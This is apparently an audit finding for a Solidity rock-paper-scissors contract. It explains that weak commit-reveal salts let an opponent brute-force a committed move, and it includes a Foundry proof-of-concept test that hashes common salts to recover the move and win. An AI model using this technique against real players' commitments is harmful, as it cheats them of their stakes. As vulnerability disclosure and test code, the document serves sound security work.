The RockPaperScissors contract's commit-reveal mechanism can be compromised if players use weak or predictable salt values. Since there are only three possible moves, an attacker could brute force the opponent's move before revealing their own, defeating the purpose of the commit-reveal pattern and enabling them to win consistently.
The game uses a commit-reveal pattern where players first commit a hash of their move and a salt value, then later reveal both. The security of this scheme relies entirely on the unpredictability of the salt:
function revealMove(uint256 _gameId, uint8 _move, bytes32 _salt) external {
Game storage game = games[_gameId];
require(msg.sender == game.playerA || msg.sender == game.playerB, "Not a player in this game");
require(game.state == GameState.Committed, "Game not in reveal phase");
require(block.timestamp <= game.revealDeadline, "Reveal phase timed out");
require(_move >= 1 && _move <= 3, "Invalid move");
Move move = Move(_move);
bytes32 commit = keccak256(abi.encodePacked(move, _salt));
if (msg.sender == game.playerA) {
require(commit == game.commitA, "Hash doesn't match commitment");
require(game.moveA == Move.None, "Move already revealed");
game.moveA = move;
} else {
require(commit == game.commitB, "Hash doesn't match commitment");
require(game.moveB == Move.None, "Move already revealed");
game.moveB = move;
}
}
Since there are only 3 possible moves (Rock, Paper, Scissors), an attacker would only need to compute 3 hashes per potential salt guess, making brute force attacks practical for weak salts.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
import "../src/WinningToken.sol";
contract RockPaperScissorsVulnTest is Test {
RockPaperScissors public game;
WinningToken public token;
address public admin;
address public playerA;
address public playerB;
address public playerC;
uint256 constant BET_AMOUNT = 0.1 ether;
uint256 constant TIMEOUT = 10 minutes;
uint256 constant TOTAL_TURNS = 1;
function setUp() public {
admin = address(this);
playerA = makeAddr("playerA");
playerB = makeAddr("playerB");
playerC = makeAddr("playerC");
vm.deal(playerA, 10 ether);
vm.deal(playerB, 10 ether);
vm.deal(playerC, 10 ether);
game = new RockPaperScissors();
token = WinningToken(game.winningToken());
vm.prank(address(game));
token.mint(playerA, 10);
vm.prank(address(game));
token.mint(playerB, 10);
vm.prank(address(game));
token.mint(playerC, 10);
}
function testBruteForceWeakSalt() public {
vm.prank(playerA);
uint256 gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
vm.prank(playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
bytes32 weakSalt = keccak256(abi.encodePacked("123"));
RockPaperScissors.Move playerAMove = RockPaperScissors.Move.Rock;
bytes32 commitA = keccak256(abi.encodePacked(uint8(playerAMove), weakSalt));
vm.prank(playerA);
game.commitMove(gameId, commitA);
bytes32[] memory commonSalts = new bytes32[](3);
commonSalts[0] = keccak256(abi.encodePacked("123"));
commonSalts[1] = keccak256(abi.encodePacked("salt"));
commonSalts[2] = keccak256(abi.encodePacked("password"));
RockPaperScissors.Move discoveredMove;
bool moveDiscovered = false;
for (uint8 i = 0; i < commonSalts.length; i++) {
for (uint8 move = 1; move <= 3; move++) {
bytes32 testCommit = keccak256(abi.encodePacked(move, commonSalts[i]));
if (testCommit == commitA) {
discoveredMove = RockPaperScissors.Move(move);
moveDiscovered = true;
break;
}
}
if (moveDiscovered) break;
}
assertTrue(moveDiscovered, "Failed to discover the move");
assertEq(uint8(discoveredMove), uint8(playerAMove), "Discovered incorrect move");
RockPaperScissors.Move winningMove;
if (discoveredMove == RockPaperScissors.Move.Rock) {
winningMove = RockPaperScissors.Move.Paper;
} else if (discoveredMove == RockPaperScissors.Move.Paper) {
winningMove = RockPaperScissors.Move.Scissors;
} else {
winningMove = RockPaperScissors.Move.Rock;
}
bytes32 saltB = keccak256(abi.encodePacked("playerB salt"));
bytes32 commitB = keccak256(abi.encodePacked(uint8(winningMove), saltB));
vm.prank(playerB);
game.commitMove(gameId, commitB);
vm.prank(playerA);
game.revealMove(gameId, uint8(playerAMove), weakSalt);
vm.prank(playerB);
game.revealMove(gameId, uint8(winningMove), saltB);
(,,,,,,,,,,,,, uint8 scoreA, uint8 scoreB, ) = game.games(gameId);
assertEq(scoreA, 0);
assertEq(scoreB, 1);
}
}
Manual code review and custom unit tests.